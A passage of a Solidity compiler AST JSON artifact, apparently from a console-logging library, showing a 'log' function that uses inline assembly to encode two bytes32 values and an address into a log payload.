":36216,"src":"77582:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36194,"name":"bytes32","nodeType":"ElementaryTypeName","src":"77582:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36196,"nodeType":"VariableDeclarationStatement","src":"77582:10:22"},{"assignments":[36198],"declarations":[{"constant":false,"id":36198,"mutability":"mutable","name":"m4","nameLocation":"77610:2:22","nodeType":"VariableDeclaration","scope":36216,"src":"77602:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36197,"name":"bytes32","nodeType":"ElementaryTypeName","src":"77602:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36199,"nodeType":"VariableDeclarationStatement","src":"77602:10:22"},{"assignments":[36201],"declarations":[{"constant":false,"id":36201,"mutability":"mutable","name":"m5","nameLocation":"77630:2:22","nodeType":"VariableDeclaration","scope":36216,"src":"77622:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36200,"name":"bytes32","nodeType":"ElementaryTypeName","src":"77622:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36202,"nodeType":"VariableDeclarationStatement","src":"77622:10:22"},{"assignments":[36204],"declarations":[{"constant":false,"id":36204,"mutability":"mutable","name":"m6","nameLocation":"77650:2:22","nodeType":"VariableDeclaration","scope":36216,"src":"77642:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36203,"name":"bytes32","nodeType":"ElementaryTypeName","src":"77642:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36205,"nodeType":"VariableDeclarationStatement","src":"77642:10:22"},{"assignments":[36207],"declarations":[{"constant":false,"id":36207,"mutability":"mutable","name":"m7","nameLocation":"77670:2:22","nodeType":"VariableDeclaration","scope":36216,"src":"77662:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36206,"name":"bytes32","nodeType":"ElementaryTypeName","src":"77662:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36208,"nodeType":"VariableDeclarationStatement","src":"77662:10:22"},{"AST":{"nativeSrc":"77691:859:22","nodeType":"YulBlock","src":"77691:859:22","statements":[{"body":{"nativeSrc":"77734:313:22","nodeType":"YulBlock","src":"77734:313:22","statements":[{"nativeSrc":"77752:15:22","nodeType":"YulVariableDeclaration","src":"77752:15:22","value":{"kind":"number","nativeSrc":"77766:1:22","nodeType":"YulLiteral","src":"77766:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"77756:6:22","nodeType":"YulTypedName","src":"77756:6:22","type":""}]},{"body":{"nativeSrc":"77837:40:22","nodeType":"YulBlock","src":"77837:40:22","statements":[{"body":{"nativeSrc":"77866:9:22","nodeType":"YulBlock","src":"77866:9:22","statements":[{"nativeSrc":"77868:5:22","nodeType":"YulBreak","src":"77868:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"77854:6:22","nodeType":"YulIdentifier","src":"77854:6:22"},{"name":"w","nativeSrc":"77862:1:22","nodeType":"YulIdentifier","src":"77862:1:22"}],"functionName":{"name":"byte","nativeSrc":"77849:4:22","nodeType":"YulIdentifier","src":"77849:4:22"},"nativeSrc":"77849:15:22","nodeType":"YulFunctionCall","src":"77849:15:22"}],"functionName":{"name":"iszero","nativeSrc":"77842:6:22","nodeType":"YulIdentifier","src":"77842:6:22"},"nativeSrc":"77842:23:22","nodeType":"YulFunctionCall","src":"77842:23:22"},"nativeSrc":"77839:36:22","nodeType":"YulIf","src":"77839:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"77794:6:22","nodeType":"YulIdentifier","src":"77794:6:22"},{"kind":"number","nativeSrc":"77802:4:22","nodeType":"YulLiteral","src":"77802:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"77791:2:22","nodeType":"YulIdentifier","src":"77791:2:22"},"nativeSrc":"77791:16:22","nodeType":"YulFunctionCall","src":"77791:16:22"},"nativeSrc":"77784:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"77808:28:22","nodeType":"YulBlock","src":"77808:28:22","statements":[{"nativeSrc":"77810:24:22","nodeType":"YulAssignment","src":"77810:24:22","value":{"arguments":[{"name":"length","nativeSrc":"77824:6:22","nodeType":"YulIdentifier","src":"77824:6:22"},{"kind":"number","nativeSrc":"77832:1:22","nodeType":"YulLiteral","src":"77832:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"77820:3:22","nodeType":"YulIdentifier","src":"77820:3:22"},"nativeSrc":"77820:14:22","nodeType":"YulFunctionCall","src":"77820:14:22"},"variableNames":[{"name":"length","nativeSrc":"77810:6:22","nodeType":"YulIdentifier","src":"77810:6:22"}]}]},"pre":{"nativeSrc":"77788:2:22","nodeType":"YulBlock","src":"77788:2:22","statements":[]},"src":"77784:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"77901:3:22","nodeType":"YulIdentifier","src":"77901:3:22"},{"name":"length","nativeSrc":"77906:6:22","nodeType":"YulIdentifier","src":"77906:6:22"}],"functionName":{"name":"mstore","nativeSrc":"77894:6:22","nodeType":"YulIdentifier","src":"77894:6:22"},"nativeSrc":"77894:19:22","nodeType":"YulFunctionCall","src":"77894:19:22"},"nativeSrc":"77894:19:22","nodeType":"YulExpressionStatement","src":"77894:19:22"},{"nativeSrc":"77930:37:22","nodeType":"YulVariableDeclaration","src":"77930:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"77947:3:22","nodeType":"YulLiteral","src":"77947:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"77956:1:22","nodeType":"YulLiteral","src":"77956:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"77959:6:22","nodeType":"YulIdentifier","src":"77959:6:22"}],"functionName":{"name":"shl","nativeSrc":"77952:3:22","nodeType":"YulIdentifier","src":"77952:3:22"},"nativeSrc":"77952:14:22","nodeType":"YulFunctionCall","src":"77952:14:22"}],"functionName":{"name":"sub","nativeSrc":"77943:3:22","nodeType":"YulIdentifier","src":"77943:3:22"},"nativeSrc":"77943:24:22","nodeType":"YulFunctionCall","src":"77943:24:22"},"variables":[{"name":"shift","nativeSrc":"77934:5:22","nodeType":"YulTypedName","src":"77934:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"77995:3:22","nodeType":"YulIdentifier","src":"77995:3:22"},{"kind":"number","nativeSrc":"78000:4:22","nodeType":"YulLiteral","src":"78000:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"77991:3:22","nodeType":"YulIdentifier","src":"77991:3:22"},"nativeSrc":"77991:14:22","nodeType":"YulFunctionCall","src":"77991:14:22"},{"arguments":[{"name":"shift","nativeSrc":"78011:5:22","nodeType":"YulIdentifier","src":"78011:5:22"},{"arguments":[{"name":"shift","nativeSrc":"78022:5:22","nodeType":"YulIdentifier","src":"78022:5:22"},{"name":"w","nativeSrc":"78029:1:22","nodeType":"YulIdentifier","src":"78029:1:22"}],"functionName":{"name":"shr","nativeSrc":"78018:3:22","nodeType":"YulIdentifier","src":"78018:3:22"},"nativeSrc":"78018:13:22","nodeType":"YulFunctionCall","src":"78018:13:22"}],"functionName":{"name":"shl","nativeSrc":"78007:3:22","nodeType":"YulIdentifier","src":"78007:3:22"},"nativeSrc":"78007:25:22","nodeType":"YulFunctionCall","src":"78007:25:22"}],"functionName":{"name":"mstore","nativeSrc":"77984:6:22","nodeType":"YulIdentifier","src":"77984:6:22"},"nativeSrc":"77984:49:22","nodeType":"YulFunctionCall","src":"77984:49:22"},"nativeSrc":"77984:49:22","nodeType":"YulExpressionStatement","src":"77984:49:22"}]},"name":"writeString","nativeSrc":"77705:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"77726:3:22","nodeType":"YulTypedName","src":"77726:3:22","type":""},{"name":"w","nativeSrc":"77731:1:22","nodeType":"YulTypedName","src":"77731:1:22","type":""}],"src":"77705:342:22"},{"nativeSrc":"78060:17:22","nodeType":"YulAssignment","src":"78060:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"78072:4:22","nodeType":"YulLiteral","src":"78072:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"78066:5:22","nodeType":"YulIdentifier","src":"78066:5:22"},"nativeSrc":"78066:11:22","nodeType":"YulFunctionCall","src":"78066:11:22"},"variableNames":[{"name":"m0","nativeSrc":"78060:2:22","nodeType":"YulIdentifier","src":"78060:2:22"}]},{"nativeSrc":"78090:17:22","nodeType":"YulAssignment","src":"78090:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"78102:4:22","nodeType":"YulLiteral","src":"78102:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"78096:5:22","nodeType":"YulIdentifier","src":"78096:5:22"},"nativeSrc":"78096:11:22","nodeType":"YulFunctionCall","src":"78096:11:22"},"variableNames":[{"name":"m1","nativeSrc":"78090:2:22","nodeType":"YulIdentifier","src":"78090:2:22"}]},{"nativeSrc":"78120:17:22","nodeType":"YulAssignment","src":"78120:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"78132:4:22","nodeType":"YulLiteral","src":"78132:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"78126:5:22","nodeType":"YulIdentifier","src":"78126:5:22"},"nativeSrc":"78126:11:22","nodeType":"YulFunctionCall","src":"78126:11:22"},"variableNames":[{"name":"m2","nativeSrc":"78120:2:22","nodeType":"YulIdentifier","src":"78120:2:22"}]},{"nativeSrc":"78150:17:22","nodeType":"YulAssignment","src":"78150:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"78162:4:22","nodeType":"YulLiteral","src":"78162:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"78156:5:22","nodeType":"YulIdentifier","src":"78156:5:22"},"nativeSrc":"78156:11:22","nodeType":"YulFunctionCall","src":"78156:11:22"},"variableNames":[{"name":"m3","nativeSrc":"78150:2:22","nodeType":"YulIdentifier","src":"78150:2:22"}]},{"nativeSrc":"78180:17:22","nodeType":"YulAssignment","src":"78180:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"78192:4:22","nodeType":"YulLiteral","src":"78192:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"78186:5:22","nodeType":"YulIdentifier","src":"78186:5:22"},"nativeSrc":"78186:11:22","nodeType":"YulFunctionCall","src":"78186:11:22"},"variableNames":[{"name":"m4","nativeSrc":"78180:2:22","nodeType":"YulIdentifier","src":"78180:2:22"}]},{"nativeSrc":"78210:17:22","nodeType":"YulAssignment","src":"78210:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"78222:4:22","nodeType":"YulLiteral","src":"78222:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"78216:5:22","nodeType":"YulIdentifier","src":"78216:5:22"},"nativeSrc":"78216:11:22","nodeType":"YulFunctionCall","src":"78216:11:22"},"variableNames":[{"name":"m5","nativeSrc":"78210:2:22","nodeType":"YulIdentifier","src":"78210:2:22"}]},{"nativeSrc":"78240:17:22","nodeType":"YulAssignment","src":"78240:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"78252:4:22","nodeType":"YulLiteral","src":"78252:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"78246:5:22","nodeType":"YulIdentifier","src":"78246:5:22"},"nativeSrc":"78246:11:22","nodeType":"YulFunctionCall","src":"78246:11:22"},"variableNames":[{"name":"m6","nativeSrc":"78240:2:22","nodeType":"YulIdentifier","src":"78240:2:22"}]},{"nativeSrc":"78270:17:22","nodeType":"YulAssignment","src":"78270:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"78282:4:22","nodeType":"YulLiteral","src":"78282:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"78276:5:22","nodeType":"YulIdentifier","src":"78276:5:22"},"nativeSrc":"78276:11:22","nodeType":"YulFunctionCall","src":"78276:11:22"},"variableNames":[{"name":"m7","nativeSrc":"78270:2:22","nodeType":"YulIdentifier","src":"78270:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78364:4:22","nodeType":"YulLiteral","src":"78364:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"78370:10:22","nodeType":"YulLiteral","src":"78370:10:22","type":"","value":"0x95ed0195"}],"functionName":{"name":"mstore","nativeSrc":"78357:6:22","nodeType":"YulIdentifier","src":"78357:6:22"},"nativeSrc":"78357:24:22","nodeType":"YulFunctionCall","src":"78357:24:22"},"nativeSrc":"78357:24:22","nodeType":"YulExpressionStatement","src":"78357:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78401:4:22","nodeType":"YulLiteral","src":"78401:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"78407:4:22","nodeType":"YulLiteral","src":"78407:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"78394:6:22","nodeType":"YulIdentifier","src":"78394:6:22"},"nativeSrc":"78394:18:22","nodeType":"YulFunctionCall","src":"78394:18:22"},"nativeSrc":"78394:18:22","nodeType":"YulExpressionStatement","src":"78394:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78432:4:22","nodeType":"YulLiteral","src":"78432:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"78438:4:22","nodeType":"YulLiteral","src":"78438:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mstore","nativeSrc":"78425:6:22","nodeType":"YulIdentifier","src":"78425:6:22"},"nativeSrc":"78425:18:22","nodeType":"YulFunctionCall","src":"78425:18:22"},"nativeSrc":"78425:18:22","nodeType":"YulExpressionStatement","src":"78425:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78463:4:22","nodeType":"YulLiteral","src":"78463:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"78469:2:22","nodeType":"YulIdentifier","src":"78469:2:22"}],"functionName":{"name":"mstore","nativeSrc":"78456:6:22","nodeType":"YulIdentifier","src":"78456:6:22"},"nativeSrc":"78456:16:22","nodeType":"YulFunctionCall","src":"78456:16:22"},"nativeSrc":"78456:16:22","nodeType":"YulExpressionStatement","src":"78456:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78497:4:22","nodeType":"YulLiteral","src":"78497:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"78503:2:22","nodeType":"YulIdentifier","src":"78503:2:22"}],"functionName":{"name":"writeString","nativeSrc":"78485:11:22","nodeType":"YulIdentifier","src":"78485:11:22"},"nativeSrc":"78485:21:22","nodeType":"YulFunctionCall","src":"78485:21:22"},"nativeSrc":"78485:21:22","nodeType":"YulExpressionStatement","src":"78485:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78531:4:22","nodeType":"YulLiteral","src":"78531:4:22","type":"","value":"0xc0"},{"name":"p1","nativeSrc":"78537:2:22","nodeType":"YulIdentifier","src":"78537:2:22"}],"functionName":{"name":"writeString","nativeSrc":"78519:11:22","nodeType":"YulIdentifier","src":"78519:11:22"},"nativeSrc":"78519:21:22","nodeType":"YulFunctionCall","src":"78519:21:22"},"nativeSrc":"78519:21:22","nodeType":"YulExpressionStatement","src":"78519:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36186,"isOffset":false,"isSlot":false,"src":"78060:2:22","valueSize":1},{"declaration":36189,"isOffset":false,"isSlot":false,"src":"78090:2:22","valueSize":1},{"declaration":36192,"isOffset":false,"isSlot":false,"src":"78120:2:22","valueSize":1},{"declaration":36195,"isOffset":false,"isSlot":false,"src":"78150:2:22","valueSize":1},{"declaration":36198,"isOffset":false,"isSlot":false,"src":"78180:2:22","valueSize":1},{"declaration":36201,"isOffset":false,"isSlot":false,"src":"78210:2:22","valueSize":1},{"declaration":36204,"isOffset":false,"isSlot":false,"src":"78240:2:22","valueSize":1},{"declaration":36207,"isOffset":false,"isSlot":false,"src":"78270:2:22","valueSize":1},{"declaration":36178,"isOffset":false,"isSlot":false,"src":"78503:2:22","valueSize":1},{"declaration":36180,"isOffset":false,"isSlot":false,"src":"78537:2:22","valueSize":1},{"declaration":36182,"isOffset":false,"isSlot":false,"src":"78469:2:22","valueSize":1}],"id":36209,"nodeType":"InlineAssembly","src":"77682:868:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36211,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"78575:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786534","id":36212,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"78581:4:22","typeDescriptions":{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"},"value":"0xe4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"}],"id":36210,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"78559:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36213,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"78559:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36214,"nodeType":"ExpressionStatement","src":"78559:27:22"},{"AST":{"nativeSrc":"78605:243:22","nodeType":"YulBlock","src":"78605:243:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"78626:4:22","nodeType":"YulLiteral","src":"78626:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"78632:2:22","nodeType":"YulIdentifier","src":"78632:2:22"}],"functionName":{"name":"mstore","nativeSrc":"78619:6:22","nodeType":"YulIdentifier","src":"78619:6:22"},"nativeSrc":"78619:16:22","nodeType":"YulFunctionCall","src":"78619:16:22"},"nativeSrc":"78619:16:22","nodeType":"YulExpressionStatement","src":"78619:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78655:4:22","nodeType":"YulLiteral","src":"78655:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"78661:2:22","nodeType":"YulIdentifier","src":"78661:2:22"}],"functionName":{"name":"mstore","nativeSrc":"78648:6:22","nodeType":"YulIdentifier","src":"78648:6:22"},"nativeSrc":"78648:16:22","nodeType":"YulFunctionCall","src":"78648:16:22"},"nativeSrc":"78648:16:22","nodeType":"YulExpressionStatement","src":"78648:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78684:4:22","nodeType":"YulLiteral","src":"78684:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"78690:2:22","nodeType":"YulIdentifier","src":"78690:2:22"}],"functionName":{"name":"mstore","nativeSrc":"78677:6:22","nodeType":"YulIdentifier","src":"78677:6:22"},"nativeSrc":"78677:16:22","nodeType":"YulFunctionCall","src":"78677:16:22"},"nativeSrc":"78677:16:22","nodeType":"YulExpressionStatement","src":"78677:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78713:4:22","nodeType":"YulLiteral","src":"78713:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"78719:2:22","nodeType":"YulIdentifier","src":"78719:2:22"}],"functionName":{"name":"mstore","nativeSrc":"78706:6:22","nodeType":"YulIdentifier","src":"78706:6:22"},"nativeSrc":"78706:16:22","nodeType":"YulFunctionCall","src":"78706:16:22"},"nativeSrc":"78706:16:22","nodeType":"YulExpressionStatement","src":"78706:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78742:4:22","nodeType":"YulLiteral","src":"78742:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"78748:2:22","nodeType":"YulIdentifier","src":"78748:2:22"}],"functionName":{"name":"mstore","nativeSrc":"78735:6:22","nodeType":"YulIdentifier","src":"78735:6:22"},"nativeSrc":"78735:16:22","nodeType":"YulFunctionCall","src":"78735:16:22"},"nativeSrc":"78735:16:22","nodeType":"YulExpressionStatement","src":"78735:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78771:4:22","nodeType":"YulLiteral","src":"78771:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"78777:2:22","nodeType":"YulIdentifier","src":"78777:2:22"}],"functionName":{"name":"mstore","nativeSrc":"78764:6:22","nodeType":"YulIdentifier","src":"78764:6:22"},"nativeSrc":"78764:16:22","nodeType":"YulFunctionCall","src":"78764:16:22"},"nativeSrc":"78764:16:22","nodeType":"YulExpressionStatement","src":"78764:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78800:4:22","nodeType":"YulLiteral","src":"78800:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"78806:2:22","nodeType":"YulIdentifier","src":"78806:2:22"}],"functionName":{"name":"mstore","nativeSrc":"78793:6:22","nodeType":"YulIdentifier","src":"78793:6:22"},"nativeSrc":"78793:16:22","nodeType":"YulFunctionCall","src":"78793:16:22"},"nativeSrc":"78793:16:22","nodeType":"YulExpressionStatement","src":"78793:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"78829:4:22","nodeType":"YulLiteral","src":"78829:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"78835:2:22","nodeType":"YulIdentifier","src":"78835:2:22"}],"functionName":{"name":"mstore","nativeSrc":"78822:6:22","nodeType":"YulIdentifier","src":"78822:6:22"},"nativeSrc":"78822:16:22","nodeType":"YulFunctionCall","src":"78822:16:22"},"nativeSrc":"78822:16:22","nodeType":"YulExpressionStatement","src":"78822:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36186,"isOffset":false,"isSlot":false,"src":"78632:2:22","valueSize":1},{"declaration":36189,"isOffset":false,"isSlot":false,"src":"78661:2:22","valueSize":1},{"declaration":36192,"isOffset":false,"isSlot":false,"src":"78690:2:22","valueSize":1},{"declaration":36195,"isOffset":false,"isSlot":false,"src":"78719:2:22","valueSize":1},{"declaration":36198,"isOffset":false,"isSlot":false,"src":"78748:2:22","valueSize":1},{"declaration":36201,"isOffset":false,"isSlot":false,"src":"78777:2:22","valueSize":1},{"declaration":36204,"isOffset":false,"isSlot":false,"src":"78806:2:22","valueSize":1},{"declaration":36207,"isOffset":false,"isSlot":false,"src":"78835:2:22","valueSize":1}],"id":36215,"nodeType":"InlineAssembly","src":"78596:252:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"77458:3:22","parameters":{"id":36183,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36178,"mutability":"mutable","name":"p0","nameLocation":"77470:2:22","nodeType":"VariableDeclaration","scope":36217,"src":"77462:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36177,"name":"bytes32","nodeType":"ElementaryTypeName","src":"77462:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36180,"mutability":"mutable","name":"p1","nameLocation":"77482:2:22","nodeType":"VariableDeclaration","scope":36217,"src":"77474:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36179,"name":"bytes32","nodeType":"ElementaryTypeName","src":"77474:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36182,"mutability":"mutable","name":"p2","nameLocation":"77494:2:22","nodeType":"VariableDeclaration","scope":36217,"src":"77486:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36181,"name":"address","nodeType":"ElementaryTypeName","src":"77486:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"77461:36:22"},"returnParameters":{"id":36184,"nodeType":"ParameterList","parameters":[],"src":"77512:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36258,"nodeType":"FunctionDefinition","src":"78860:1399:22","nodes":[],"body":{"id":36257,"nodeType":"Block","src":"78920:1339:22","nodes":[],"statements":[{"assignments":[36227],"declarations":[{"constant":false,"id":36227,"mutability":"mutable","name":"m0","nameLocation":"78938:2:22","nodeType":"VariableDeclaration","scope":36257,"src":"78930:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36226,"name":"bytes32","nodeType":"ElementaryTypeName","src":"78930:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36228,"nodeType":"VariableDeclarationStatement","src":"78930:10:22"},{"assignments":[36230],"declarations":[{"constant":false,"id":36230,"mutability":"mutable","name":"m1","nameLocation":"78958:2:22","nodeType":"VariableDeclaration","scope":36257,"src":"78950:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36229,"name":"bytes32","nodeType":"ElementaryTypeName","src":"78950:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36231,"nodeType":"VariableDeclarationStatement","src":"78950:10:22"},{"assignments":[36233],"declarations":[{"constant":false,"id":36233,"mutability":"mutable","name":"m2","nameLocation":"78978:2:22","nodeType":"VariableDeclaration","scope":36257,"src":"78970:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36232,"name":"bytes32","nodeType":"ElementaryTypeName","src":"78970:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36234,"nodeType":"VariableDeclarationStatement","src":"78970:10:22"},{"assignments":[36236],"declarations":[{"constant":false,"id":36236,"mutability":"mutable","name":"m3","nameLocation":"78998:2:22","nodeType":"VariableDeclaration","scope":36257,"src":"78990:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36235,"name":"bytes32","nodeType":"ElementaryTypeName","src":"78990:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36237,"nodeType":"VariableDeclarationStatement","src":"78990:10:22"},{"assignments":[36239],"declarations":[{"constant":false,"id":36239,"mutability":"mutable","name":"m4","nameLocation":"79018:2:22","nodeType":"VariableDeclaration","scope":36257,"src":"79010:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36238,"name":"bytes32","nodeType":"ElementaryTypeName","src":"79010:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36240,"nodeType":"VariableDeclarationStatement","src":"79010:10:22"},{"assignments":[36242],"declarations":[{"constant":false,"id":36242,"mutability":"mutable","name":"m5","nameLocation":"79038:2:22","nodeType":"VariableDeclaration","scope":36257,"src":"79030:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36241,"name":"bytes32","nodeType":"ElementaryTypeName","src":"79030:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36243,"nodeType":"VariableDeclarationStatement","src":"79030:10:22"},{"assignments":[36245],"declarations":[{"constant":false,"id":36245,"mutability":"mutable","name":"m6","nameLocation":"79058:2:22","nodeType":"VariableDeclaration","scope":36257,"src":"79050:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36244,"name":"bytes32","nodeType":"ElementaryTypeName","src":"79050:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36246,"nodeType":"VariableDeclarationStatement","src":"79050:10:22"},{"assignments":[36248],"declarations":[{"constant":false,"id":36248,"mutability":"mutable","name":"m7","nameLocation":"79078:2:22","nodeType":"VariableDeclaration","scope":36257,"src":"79070:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36247,"name":"bytes32","nodeType":"ElementaryTypeName","src":"79070:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36249,"nodeType":"VariableDeclarationStatement","src":"79070:10:22"},{"AST":{"nativeSrc":"79099:856:22","nodeType":"YulBlock","src":"79099:856:22","statements":[{"body":{"nativeSrc":"79142:313:22","nodeType":"YulBlock","src":"79142:313:22","statements":[{"nativeSrc":"79160:15:22","nodeType":"YulVariableDeclaration","src":"79160:15:22","value":{"kind":"number","nativeSrc":"79174:1:22","nodeType":"YulLiteral","src":"79174:1:22","type":"","value":"0"},"variables":[{"name":"